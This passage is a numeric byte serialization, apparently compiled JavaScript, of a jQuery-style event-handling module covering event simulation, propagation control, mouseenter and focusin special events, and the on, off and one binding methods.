4, 8, 0, 6, 116, 97, 114, 103, 101, 116, 65, 3, 0, 1, 97, 1, 224, 1, 46, 2, 61, 42, 46, 2, 61, 0, 4, 14, 0, 12, 98, 101, 102, 111, 114, 101, 117, 110, 108, 111, 97, 100, 35, 197, 1, 23, 194, 1, 1, 191, 1, 46, 2, 61, 42, 46, 2, 61, 0, 4, 14, 0, 12, 112, 111, 115, 116, 68, 105, 115, 112, 97, 116, 99, 104, 55, 164, 1, 65, 2, 0, 0, 23, 5, 4, 3, 2, 1, 97, 49, 150, 1, 49, 147, 1, 116, 144, 1, 60, 141, 1, 92, 0, 60, 63, 92, 0, 6, 31, 52, 0, 91, 6, 32, 0, 46, 2, 61, 0, 72, 19, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 8, 0, 6, 114, 101, 115, 117, 108, 116, 72, 26, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 15, 0, 13, 111, 114, 105, 103, 105, 110, 97, 108, 69, 118, 101, 110, 116, 21, 72, 86, 0, 72, 47, 46, 2, 61, 0, 72, 26, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 15, 0, 13, 111, 114, 105, 103, 105, 110, 97, 108, 69, 118, 101, 110, 116, 4, 13, 0, 11, 114, 101, 116, 117, 114, 110, 86, 97, 108, 117, 101, 72, 19, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 8, 0, 6, 114, 101, 115, 117, 108, 116, 1, 168, 3, 46, 2, 61, 42, 46, 2, 61, 0, 4, 10, 0, 8, 115, 105, 109, 117, 108, 97, 116, 101, 55, 145, 3, 65, 2, 0, 0, 23, 20, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 4, 3, 2, 1, 99, 4, 3, 2, 1, 100, 49, 244, 2, 49, 241, 2, 49, 157, 1, 49, 154, 1, 3, 151, 1, 4, 3, 2, 1, 101, 59, 143, 1, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 8, 0, 6, 101, 120, 116, 101, 110, 100, 23, 120, 84, 22, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 7, 0, 5, 69, 118, 101, 110, 116, 23, 0, 4, 3, 2, 1, 99, 35, 89, 23, 87, 1, 21, 46, 2, 61, 42, 46, 2, 61, 0, 4, 6, 0, 4, 116, 121, 112, 101, 4, 3, 2, 1, 97, 1, 31, 46, 2, 61, 42, 46, 2, 61, 0, 4, 13, 0, 11, 105, 115, 83, 105, 109, 117, 108, 97, 116, 101, 100, 91, 6, 85, 0, 46, 2, 61, 0, 1, 29, 46, 2, 61, 42, 46, 2, 61, 0, 4, 15, 0, 13, 111, 114, 105, 103, 105, 110, 97, 108, 69, 118, 101, 110, 116, 35, 2, 23, 0, 116, 206, 1, 57, 203, 1, 23, 200, 1, 56, 124, 4, 3, 2, 1, 100, 59, 51, 72, 35, 46, 2, 61, 0, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 7, 0, 5, 101, 118, 101, 110, 116, 4, 9, 0, 7, 116, 114, 105, 103, 103, 101, 114, 23, 12, 4, 3, 2, 1, 101, 103, 0, 4, 3, 2, 1, 98, 59, 64, 72, 50, 46, 2, 61, 0, 72, 36, 46, 2, 61, 0, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 7, 0, 5, 101, 118, 101, 110, 116, 4, 10, 0, 8, 100, 105, 115, 112, 97, 116, 99, 104, 4, 6, 0, 4, 99, 97, 108, 108, 23, 10, 4, 3, 2, 1, 98, 4, 3, 2, 1, 101, 60, 72, 92, 0, 59, 35, 72, 31, 46, 2, 61, 0, 4, 3, 2, 1, 101, 4, 20, 0, 18, 105, 115, 68, 101, 102, 97, 117, 108, 116, 80, 114, 101, 118, 101, 110, 116, 101, 100, 23, 0, 59, 31, 72, 27, 46, 2, 61, 0, 4, 3, 2, 1, 99, 4, 16, 0, 14, 112, 114, 101, 118, 101, 110, 116, 68, 101, 102, 97, 117, 108, 116, 23, 0, 21, 151, 1, 86, 0, 72, 24, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 13, 0, 11, 114, 101, 109, 111, 118, 101, 69, 118, 101, 110, 116, 55, 121, 65, 2, 0, 0, 23, 15, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 4, 3, 2, 1, 99, 49, 98, 49, 96, 116, 94, 60, 92, 92, 0, 72, 32, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 21, 0, 19, 114, 101, 109, 111, 118, 101, 69, 118, 101, 110, 116, 76, 105, 115, 116, 101, 110, 101, 114, 59, 54, 72, 32, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 21, 0, 19, 114, 101, 109, 111, 118, 101, 69, 118, 101, 110, 116, 76, 105, 115, 116, 101, 110, 101, 114, 23, 18, 4, 3, 2, 1, 98, 4, 3, 2, 1, 99, 91, 6, 85, 0, 46, 2, 61, 1, 21, 209, 4, 86, 0, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 7, 0, 5, 69, 118, 101, 110, 116, 55, 184, 4, 65, 2, 0, 0, 23, 10, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 49, 165, 4, 49, 162, 4, 120, 159, 4, 56, 156, 4, 6, 24, 93, 0, 95, 0, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 7, 0, 5, 69, 118, 101, 110, 116, 57, 221, 3, 23, 218, 3, 56, 172, 2, 60, 26, 92, 0, 4, 3, 2, 1, 97, 72, 17, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 6, 0, 4, 116, 121, 112, 101, 57, 244, 1, 23, 241, 1, 21, 32, 86, 0, 72, 23, 46, 2, 61, 0, 95, 0, 4, 15, 0, 13, 111, 114, 105, 103, 105, 110, 97, 108, 69, 118, 101, 110, 116, 4, 3, 2, 1, 97, 21, 37, 86, 0, 72, 14, 46, 2, 61, 0, 95, 0, 4, 6, 0, 4, 116, 121, 112, 101, 72, 17, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 6, 0, 4, 116, 121, 112, 101, 21, 165, 1, 86, 0, 72, 28, 46, 2, 61, 0, 95, 0, 4, 20, 0, 18, 105, 115, 68, 101, 102, 97, 117, 108, 116, 80, 114, 101, 118, 101, 110, 116, 101, 100, 56, 130, 1, 60, 118, 38, 0, 72, 29, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 18, 0, 16, 100, 101, 102, 97, 117, 108, 116, 80, 114, 101, 118, 101, 110, 116, 101, 100, 60, 83, 92, 0, 6, 41, 26, 0, 91, 6, 32, 0, 46, 2, 61, 0, 72, 29, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 18, 0, 16, 100, 101, 102, 97, 117, 108, 116, 80, 114, 101, 118, 101, 110, 116, 101, 100, 6, 36, 26, 0, 72, 24, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 13, 0, 11, 114, 101, 116, 117, 114, 110, 86, 97, 108, 117, 101, 91, 6, 85, 0, 46, 2, 61, 1, 4, 3, 1, 1, 90, 4, 3, 1, 1, 36, 21, 23, 86, 0, 72, 14, 46, 2, 61, 0, 95, 0, 4, 6, 0, 4, 116, 121, 112, 101, 4, 3, 2, 1, 97, 60, 39, 92, 0, 4, 3, 2, 1, 98, 59, 30, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 8, 0, 6, 101, 120, 116, 101, 110, 100, 23, 7, 95, 0, 4, 3, 2, 1, 98, 21, 82, 86, 0, 72, 19, 46, 2, 61, 0, 95, 0, 4, 11, 0, 9, 116, 105, 109, 101, 83, 116, 97, 109, 112, 60, 57, 38, 0, 60, 31, 92, 0, 4, 3, 2, 1, 97, 72, 22, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 11, 0, 9, 116, 105, 109, 101, 83, 116, 97, 109, 112, 59, 20, 72, 16, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 5, 0, 3, 110, 111, 119, 23, 0, 91, 44, 32, 0, 21, 40, 86, 0, 72, 28, 46, 2, 61, 1, 95, 0, 72, 20, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 9, 0, 7, 101, 120, 112, 97, 110, 100, 111, 91, 6, 85, 0, 46, 2, 61, 0, 84, 32, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 7, 0, 5, 69, 118, 101, 110, 116, 23, 10, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 21, 211, 6, 86, 0, 72, 37, 46, 2, 61, 0, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 7, 0, 5, 69, 118, 101, 110, 116, 4, 11, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 35, 167, 6, 23, 164, 6, 1, 35, 46, 2, 61, 42, 46, 2, 61, 0, 4, 20, 0, 18, 105, 115, 68, 101, 102, 97, 117, 108, 116, 80, 114, 101, 118, 101, 110, 116, 101, 100, 4, 3, 1, 1, 36, 1, 37, 46, 2, 61, 42, 46, 2, 61, 0, 4, 22, 0, 20, 105, 115, 80, 114, 111, 112, 97, 103, 97, 116, 105, 111, 110, 83, 116, 111, 112, 112, 101, 100, 4, 3, 1, 1, 36, 1, 46, 46, 2, 61, 42, 46, 2, 61, 0, 4, 31, 0, 29, 105, 115, 73, 109, 109, 101, 100, 105, 97, 116, 101, 80, 114, 111, 112, 97, 103, 97, 116, 105, 111, 110, 83, 116, 111, 112, 112, 101, 100, 4, 3, 1, 1, 36, 1, 197, 1, 46, 2, 61, 42, 46, 2, 61, 0, 4, 16, 0, 14, 112, 114, 101, 118, 101, 110, 116, 68, 101, 102, 97, 117, 108, 116, 55, 168, 1, 65, 2, 0, 0, 23, 0, 49, 159, 1, 49, 156, 1, 49, 34, 49, 32, 3, 30, 4, 3, 2, 1, 97, 72, 23, 46, 2, 61, 0, 95, 0, 4, 15, 0, 13, 111, 114, 105, 103, 105, 110, 97, 108, 69, 118, 101, 110, 116, 116, 118, 57, 116, 23, 114, 21, 37, 86, 0, 72, 28, 46, 2, 61, 0, 95, 0, 4, 20, 0, 18, 105, 115, 68, 101, 102, 97, 117, 108, 116, 80, 114, 101, 118, 101, 110, 116, 101, 100, 4, 3, 1, 1, 90, 60, 73, 92, 0, 60, 36, 92, 0, 4, 3, 2, 1, 97, 72, 27, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 16, 0, 14, 112, 114, 101, 118, 101, 110, 116, 68, 101, 102, 97, 117, 108, 116, 59, 31, 72, 27, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 16, 0, 14, 112, 114, 101, 118, 101, 110, 116, 68, 101, 102, 97, 117, 108, 116, 23, 0, 1, 202, 1, 46, 2, 61, 42, 46, 2, 61, 0, 4, 17, 0, 15, 115, 116, 111, 112, 80, 114, 111, 112, 97, 103, 97, 116, 105, 111, 110, 55, 172, 1, 65, 2, 0, 0, 23, 0, 49, 163, 1, 49, 160, 1, 49, 34, 49, 32, 3, 30, 4, 3, 2, 1, 97, 72, 23, 46, 2, 61, 0, 95, 0, 4, 15, 0, 13, 111, 114, 105, 103, 105, 110, 97, 108, 69, 118, 101, 110, 116, 116, 122, 57, 120, 23, 118, 21, 39, 86, 0, 72, 30, 46, 2, 61, 0, 95, 0, 4, 22, 0, 20, 105, 115, 80, 114, 111, 112, 97, 103, 97, 116, 105, 111, 110, 83, 116, 111, 112, 112, 101, 100, 4, 3, 1, 1, 90, 60, 75, 92, 0, 60, 37, 92, 0, 4, 3, 2, 1, 97, 72, 28, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 17, 0, 15, 115, 116, 111, 112, 80, 114, 111, 112, 97, 103, 97, 116, 105, 111, 110, 59, 32, 72, 28, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 17, 0, 15, 115, 116, 111, 112, 80, 114, 111, 112, 97, 103, 97, 116, 105, 111, 110, 23, 0, 1, 144, 2, 46, 2, 61, 42, 46, 2, 61, 0, 4, 26, 0, 24, 115, 116, 111, 112, 73, 109, 109, 101, 100, 105, 97, 116, 101, 80, 114, 111, 112, 97, 103, 97, 116, 105, 111, 110, 55, 233, 1, 65, 2, 0, 0, 23, 0, 49, 224, 1, 49, 221, 1, 49, 34, 49, 32, 3, 30, 4, 3, 2, 1, 97, 72, 23, 46, 2, 61, 0, 95, 0, 4, 15, 0, 13, 111, 114, 105, 103, 105, 110, 97, 108, 69, 118, 101, 110, 116, 116, 182, 1, 57, 179, 1, 23, 176, 1, 21, 48, 86, 0, 72, 39, 46, 2, 61, 0, 95, 0, 4, 31, 0, 29, 105, 115, 73, 109, 109, 101, 100, 105, 97, 116, 101, 80, 114, 111, 112, 97, 103, 97, 116, 105, 111, 110, 83, 116, 111, 112, 112, 101, 100, 4, 3, 1, 1, 90, 60, 93, 92, 0, 60, 46, 92, 0, 4, 3, 2, 1, 97, 72, 37, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 26, 0, 24, 115, 116, 111, 112, 73, 109, 109, 101, 100, 105, 97, 116, 101, 80, 114, 111, 112, 97, 103, 97, 116, 105, 111, 110, 59, 41, 72, 37, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 26, 0, 24, 115, 116, 111, 112, 73, 109, 109, 101, 100, 105, 97, 116, 101, 80, 114, 111, 112, 97, 103, 97, 116, 105, 111, 110, 23, 0, 59, 29, 72, 25, 46, 2, 61, 0, 95, 0, 4, 17, 0, 15, 115, 116, 111, 112, 80, 114, 111, 112, 97, 103, 97, 116, 105, 111, 110, 23, 0, 59, 180, 5, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 6, 0, 4, 101, 97, 99, 104, 23, 158, 5, 35, 157, 1, 23, 154, 1, 1, 35, 46, 2, 61, 42, 46, 2, 61, 0, 4, 12, 0, 10, 109, 111, 117, 115, 101, 101, 110, 116, 101, 114, 65, 11, 0, 9, 109, 111, 117, 115, 101, 111, 118, 101, 114, 1, 34, 46, 2, 61, 42, 46, 2, 61, 0, 4, 12, 0, 10, 109, 111, 117, 115, 101, 108, 101, 97, 118, 101, 65, 10, 0, 8, 109, 111, 117, 115, 101, 111, 117, 116, 1, 39, 46, 2, 61, 42, 46, 2, 61, 0, 4, 14, 0, 12, 112, 111, 105, 110, 116, 101, 114, 101, 110, 116, 101, 114, 65, 13, 0, 11, 112, 111, 105, 110, 116, 101, 114, 111, 118, 101, 114, 1, 38, 46, 2, 61, 42, 46, 2, 61, 0, 4, 14, 0, 12, 112, 111, 105, 110, 116, 101, 114, 108, 101, 97, 118, 101, 65, 12, 0, 10, 112, 111, 105, 110, 116, 101, 114, 111, 117, 116, 55, 251, 3, 65, 2, 0, 0, 23, 10, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 49, 232, 3, 49, 229, 3, 116, 226, 3, 21, 223, 3, 86, 0, 72, 46, 46, 2, 61, 1, 72, 35, 46, 2, 61, 0, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 7, 0, 5, 101, 118, 101, 110, 116, 4, 9, 0, 7, 115, 112, 101, 99, 105, 97, 108, 4, 3, 2, 1, 97, 35, 170, 3, 23, 167, 3, 1, 29, 46, 2, 61, 42, 46, 2, 61, 0, 4, 14, 0, 12, 100, 101, 108, 101, 103, 97, 116, 101, 84, 121, 112, 101, 4, 3, 2, 1, 98, 1, 25, 46, 2, 61, 42, 46, 2, 61, 0, 4, 10, 0, 8, 98, 105, 110, 100, 84, 121, 112, 101, 4, 3, 2, 1, 98, 1, 234, 2, 46, 2, 61, 42, 46, 2, 61, 0, 4, 8, 0, 6, 104, 97, 110, 100, 108, 101, 55, 213, 2, 65, 2, 0, 0, 23, 5, 4, 3, 3, 1, 97, 49, 199, 2, 49, 196, 2, 49, 86, 49, 84, 3, 7, 4, 3, 3, 1, 99, 87, 0, 3, 7, 4, 3, 3, 1, 100, 95, 0, 3, 33, 4, 3, 3, 1, 101, 72, 26, 46, 2, 61, 0, 4, 3, 3, 1, 97, 4, 15, 0, 13, 114, 101, 108, 97, 116, 101, 100, 84, 97, 114, 103, 101, 116, 3, 29, 4, 3, 3, 1, 102, 72, 22, 46, 2, 61, 0, 4, 3, 3, 1, 97, 4, 11, 0, 9, 104, 97, 110, 100, 108, 101, 79, 98, 106, 120, 233, 1, 57, 230, 1, 23, 227, 1, 60, 219, 1, 92, 0, 60, 70, 38, 0, 91, 7, 85, 0, 4, 3, 3, 1, 101, 60, 57, 92, 0, 6, 12, 52, 0, 4, 3, 3, 1, 101, 4, 3, 3, 1, 100, 91, 39, 85, 0, 59, 35, 72, 21, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 10, 0, 8, 99, 111, 110, 116, 97, 105, 110, 115, 23, 10, 4, 3, 3, 1, 100, 4, 3, 3, 1, 101, 57, 142, 1, 23, 139, 1, 21, 44, 86, 0, 72, 17, 46, 2, 61, 0, 4, 3, 3, 1, 97, 4, 6, 0, 4, 116, 121, 112, 101, 72, 21, 46, 2, 61, 0, 4, 3, 3, 1, 102, 4, 10, 0, 8, 111, 114, 105, 103, 84, 121, 112, 101, 21, 63, 86, 0, 4, 3, 3, 1, 99, 59, 54, 72, 35, 46, 2, 61, 0, 72, 20, 46, 2, 61, 0, 4, 3, 3, 1, 102, 4, 9, 0, 7, 104, 97, 110, 100, 108, 101, 114, 4, 7, 0, 5, 97, 112, 112, 108, 121, 23, 15, 95, 0, 4, 11, 3, 9, 97, 114, 103, 117, 109, 101, 110, 116, 115, 21, 26, 86, 0, 72, 17, 46, 2, 61, 0, 4, 3, 3, 1, 97, 4, 6, 0, 4, 116, 121, 112, 101, 4, 3, 2, 1, 98, 4, 3, 3, 1, 99, 60, 238, 6, 38, 0, 72, 27, 46, 2, 61, 0, 4, 3, 1, 1, 107, 4, 16, 0, 14, 102, 111, 99, 117, 115, 105, 110, 66, 117, 98, 98, 108, 101, 115, 59, 204, 6, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 6, 0, 4, 101, 97, 99, 104, 23, 182, 6, 35, 62, 23, 60, 1, 28, 46, 2, 61, 42, 46, 2, 61, 0, 4, 7, 0, 5, 102, 111, 99, 117, 115, 65, 9, 0, 7, 102, 111, 99, 117, 115, 105, 110, 1, 28, 46, 2, 61, 42, 46, 2, 61, 0, 4, 6, 0, 4, 98, 108, 117, 114, 65, 10, 0, 8, 102, 111, 99, 117, 115, 111, 117, 116, 55, 243, 5, 65, 2, 0, 0, 23, 10, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 49, 224, 5, 49, 221, 5, 49, 149, 1, 49, 146, 1, 3, 143, 1, 4, 3, 2, 1, 99, 55, 135, 1, 65, 2, 0, 0, 23, 5, 4, 3, 3, 1, 97, 49, 122, 49, 120, 116, 118, 59, 116, 72, 36, 46, 2, 61, 0, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 7, 0, 5, 101, 118, 101, 110, 116, 4, 10, 0, 8, 115, 105, 109, 117, 108, 97, 116, 101, 23, 76, 4, 3, 2, 1, 98, 72, 19, 46, 2, 61, 0, 4, 3, 3, 1, 97, 4, 8, 0, 6, 116, 97, 114, 103, 101, 116, 59, 40, 72, 31, 46, 2, 61, 0, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 7, 0, 5, 101, 118, 101, 110, 116, 4, 5, 0, 3, 102, 105, 120, 23, 5, 4, 3, 3, 1, 97, 91, 6, 85, 0, 46, 2, 61, 0, 116, 194, 4, 21, 191, 4, 86, 0, 72, 46, 46, 2, 61, 1, 72, 35, 46, 2, 61, 0, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 7, 0, 5, 101, 118, 101, 110, 116, 4, 9, 0, 7, 115, 112, 101, 99, 105, 97, 108, 4, 3, 2, 1, 98, 35, 138, 4, 23, 135, 4, 1, 240, 1, 46, 2, 61, 42, 46, 2, 61, 0, 4, 7, 0, 5, 115, 101, 116, 117, 112, 55, 220, 1, 65, 2, 0, 0, 23, 0, 49, 211, 1, 49, 208, 1, 49, 82, 49, 80, 3, 36, 4, 3, 3, 1, 100, 60, 29, 38, 0, 72, 23, 46, 2, 61, 0, 95, 0, 4, 15, 0, 13, 111, 119, 110, 101, 114, 68, 111, 99, 117, 109, 101, 110, 116, 95, 0, 3, 40, 4, 3, 3, 1, 101, 59, 33, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 76, 4, 8, 0, 6, 97, 99, 99, 101, 115, 115, 23, 10, 4, 3, 3, 1, 100, 4, 3, 2, 1, 98, 116, 122, 57, 120, 23, 118, 60, 60, 38, 0, 4, 3, 3, 1, 101, 59, 51, 72, 29, 46, 2, 61, 0, 4, 3, 3, 1, 100, 4, 18, 0, 16, 97, 100, 100, 69, 118, 101, 110, 116, 76, 105, 115, 116, 101, 110, 101, 114, 23, 18, 4, 3, 2, 1, 97, 4, 3, 2, 1, 99, 91, 6, 85, 0, 46, 2, 61, 0, 59, 54, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 76, 4, 8, 0, 6, 97, 99, 99, 101, 115, 115, 23, 31, 4, 3, 3, 1, 100, 4, 3, 2, 1, 98, 6, 19, 58, 0, 60, 11, 38, 0, 4, 3, 3, 1, 101, 46, 2, 61, 0, 46, 2, 61, 1, 1, 145, 2, 46, 2, 61, 42, 46, 2, 61, 0, 4, 10, 0, 8, 116, 101, 97, 114, 100, 111, 119, 110, 55, 250, 1, 65, 2, 0, 0, 23, 0, 49, 241, 1, 49, 238, 1, 49, 90, 49, 88, 3, 36, 4, 3, 3, 1, 100, 60, 29, 38, 0, 72, 23, 46, 2, 61, 0, 95, 0, 4, 15, 0, 13, 111, 119, 110, 101, 114, 68, 111, 99, 117, 109, 101, 110, 116, 95, 0, 3, 48, 4, 3, 3, 1, 101, 6, 41, 113, 0, 59, 33, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 76, 4, 8, 0, 6, 97, 99, 99, 101, 115, 115, 23, 10, 4, 3, 3, 1, 100, 4, 3, 2, 1, 98, 46, 2, 61, 1, 116, 143, 1, 56, 140, 1, 4, 3, 3, 1, 101, 59, 38, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 76, 4, 8, 0, 6, 97, 99, 99, 101, 115, 115, 23, 15, 4, 3, 3, 1, 100, 4, 3, 2, 1, 98, 4, 3, 3, 1, 101, 57, 93, 23, 91, 59, 54, 72, 32, 46, 2, 61, 0, 4, 3, 3, 1, 100, 4, 21, 0, 19, 114, 101, 109, 111, 118, 101, 69, 118, 101, 110, 116, 76, 105, 115, 116, 101, 110, 101, 114, 23, 18, 4, 3, 2, 1, 97, 4, 3, 2, 1, 99, 91, 6, 85, 0, 46, 2, 61, 0, 59, 33, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 76, 4, 8, 0, 6, 114, 101, 109, 111, 118, 101, 23, 10, 4, 3, 3, 1, 100, 4, 3, 2, 1, 98, 59, 205, 15, 72, 31, 46, 2, 61, 0, 72, 15, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 4, 0, 2, 102, 110, 4, 8, 0, 6, 101, 120, 116, 101, 110, 100, 23, 169, 15, 35, 166, 15, 23, 163, 15, 1, 215, 6, 46, 2, 61, 42, 46, 2, 61, 0, 4, 4, 0, 2, 111, 110, 55, 198, 6, 65, 2, 0, 0, 23, 25, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 4, 3, 2, 1, 99, 4, 3, 2, 1, 100, 4, 3, 2, 1, 101, 49, 164, 6, 49, 161, 6, 49, 20, 49, 18, 3, 7, 4, 3, 2, 1, 102, 87, 0, 3, 7, 4, 3, 2, 1, 103, 87, 0, 76, 182, 1, 6, 21, 16, 0, 65, 8, 0, 6, 111, 98, 106, 101, 99, 116, 91, 7, 125, 0, 4, 3, 2, 1, 97, 49, 154, 1, 49, 151, 1, 116, 71, 60, 69, 92, 0, 6, 21, 94, 0, 65, 8, 0, 6, 115, 116, 114, 105, 110, 103, 91, 7, 125, 0, 4, 3, 2, 1, 98, 57, 42, 23, 40, 21, 21, 86, 0, 4, 3, 2, 1, 99, 60, 12, 38, 0, 4, 3, 2, 1, 99, 4, 3, 2, 1, 98, 21, 15, 86, 0, 4, 3, 2, 1, 98, 91, 6, 32, 0, 46, 2, 61, 0, 29, 72, 46, 2, 61, 0, 4, 3, 2, 1, 103, 4, 3, 2, 1, 97, 79, 56, 116, 54, 59, 52, 72, 12, 46, 2, 61, 0, 95, 0, 4, 4, 0, 2, 111, 110, 23, 36, 4, 3, 2, 1, 103, 4, 3, 2, 1, 98, 4, 3, 2, 1, 99, 72, 14, 46, 2, 61, 1, 4, 3, 2, 1, 97, 4, 3, 2, 1, 103, 4, 3, 2, 1, 101, 120, 2, 95, 0, 103, 0, 76, 253, 1, 57, 217, 1, 23, 214, 1, 56, 194, 1, 60, 24, 92, 0, 6, 9, 16, 0, 103, 0, 4, 3, 2, 1, 99, 6, 9, 16, 0, 103, 0, 4, 3, 2, 1, 100, 57, 42, 23, 40, 21, 12, 86, 0, 4, 3, 2, 1, 100, 4, 3, 2, 1, 98, 21, 24, 86, 0, 4, 3, 2, 1, 99, 21, 15, 86, 0, 4, 3, 2, 1, 98, 91, 6, 32, 0, 46, 2, 61, 0, 60, 122, 92, 0, 6, 9, 16, 0, 103, 0, 4, 3, 2, 1, 100, 56, 107, 6, 21, 16, 0, 65, 8, 0, 6, 115, 116, 114, 105, 110, 103, 91, 7, 125, 0, 4, 3, 2, 1, 98, 57, 33, 23, 31, 21, 12, 86, 0, 4, 3, 2, 1, 100, 4, 3, 2, 1, 99, 21, 15, 86, 0, 4, 3, 2, 1, 99, 91, 6, 32, 0, 46, 2, 61, 0, 57, 47, 23, 45, 21, 12, 86, 0, 4, 3, 2, 1, 100, 4, 3, 2, 1, 99, 21, 12, 86, 0, 4, 3, 2, 1, 99, 4, 3, 2, 1, 98, 21, 15, 86, 0, 4, 3, 2, 1, 98, 91, 6, 32, 0, 46, 2, 61, 0, 6, 15, 26, 0, 4, 3, 2, 1, 100, 91, 6, 85, 0, 46, 2, 61, 1, 116, 14, 21, 12, 86, 0, 4, 3, 2, 1, 100, 4, 3, 1, 1, 36, 76, 15, 91, 7, 85, 0, 4, 3, 2, 1, 100, 120, 2, 95, 0, 103, 0, 120, 207, 2, 57, 204, 2, 23, 201, 2, 60, 233, 1, 92, 0, 6, 11, 26, 0, 46, 2, 61, 1, 4, 3, 2, 1, 101, 57, 215, 1, 23, 212, 1, 21, 12, 86, 0, 4, 3, 2, 1, 102, 4, 3, 2, 1, 100, 21, 100, 86, 0, 4, 3, 2, 1, 100, 55, 91, 65, 2, 0, 0, 23, 5, 4, 3, 3, 1, 97, 49, 78, 49, 76, 120, 74, 57, 72, 23, 70, 59, 29, 72, 20, 46, 2, 61, 0, 59, 7, 4, 3, 1, 1, 110, 23, 0, 4, 5, 0, 3, 111, 102, 102, 23, 5, 4, 3, 3, 1, 97, 59, 37, 72, 18, 46, 2, 61, 0, 4, 3, 2, 1, 102, 4, 7, 0, 5, 97, 112, 112, 108, 121, 23, 15, 95, 0, 4, 11, 3, 9, 97, 114, 103, 117, 109, 101, 110, 116, 115, 21, 94, 86, 0, 72, 17, 46, 2, 61, 0, 4, 3, 2, 1, 100, 4, 6, 0, 4, 103, 117, 105, 100, 60, 71, 38, 0, 72, 17, 46, 2, 61, 0, 4, 3, 2, 1, 102, 4, 6, 0, 4, 103, 117, 105, 100, 21, 48, 86, 0, 72, 17, 46, 2, 61, 0, 4, 3, 2, 1, 102, 4, 6, 0, 4, 103, 117, 105, 100, 96, 25, 119, 0, 46, 2, 61, 0, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 6, 0, 4, 103, 117, 105, 100, 59, 91, 72, 14, 46, 2, 61, 0, 95, 0, 4, 6, 0, 4, 101, 97, 99, 104, 23, 73, 55, 71, 65, 2, 0, 0, 23, 0, 49, 63, 49, 61, 116, 59, 59, 57, 72, 31, 46, 2, 61, 0, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 7, 0, 5, 101, 118, 101, 110, 116, 4, 5, 0, 3, 97, 100, 100, 23, 22, 95, 0, 4, 3, 2, 1, 97, 4, 3, 2, 1, 100, 4, 3, 2, 1, 99, 4, 3, 2, 1, 98, 1, 91, 46, 2, 61, 42, 46, 2, 61, 0, 4, 5, 0, 3, 111, 110, 101, 55, 74, 65, 2, 0, 0, 23, 20, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 4, 3, 2, 1, 99, 4, 3, 2, 1, 100, 49, 46, 49, 44, 120, 42, 59, 40, 72, 12, 46, 2, 61, 0, 95, 0, 4, 4, 0, 2, 111, 110, 23, 24, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 4, 3, 2, 1, 99, 4, 3, 2, 1, 100, 46, 2, 61, 1, 1, 201, 5, 46, 2, 61, 42, 46, 2, 61, 0, 4, 5, 0, 3, 111, 102, 102, 55, 183, 5, 65, 2, 0, 0, 23, 15, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 4, 3, 2, 1, 99, 49, 159, 5, 49, 156, 5, 49, 20, 49, 18, 3, 7, 4, 3, 2, 1, 100, 87, 0, 3, 7, 4, 3, 2, 1, 101, 87, 0, 76, 195, 2, 60, 64, 92, 0, 60, 36, 92, 0, 4, 3, 2, 1, 97, 72, 27, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 16, 0, 14, 112, 114, 101, 118, 101, 110, 116, 68, 101, 102, 97, 117, 108, 116, 72, 22, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 11, 0, 9, 104, 97, 110, 100, 108, 101, 79, 98, 106, 120, 252, 1, 57, 249, 1, 23, 246, 1, 21, 31, 86, 0, 4, 3, 2, 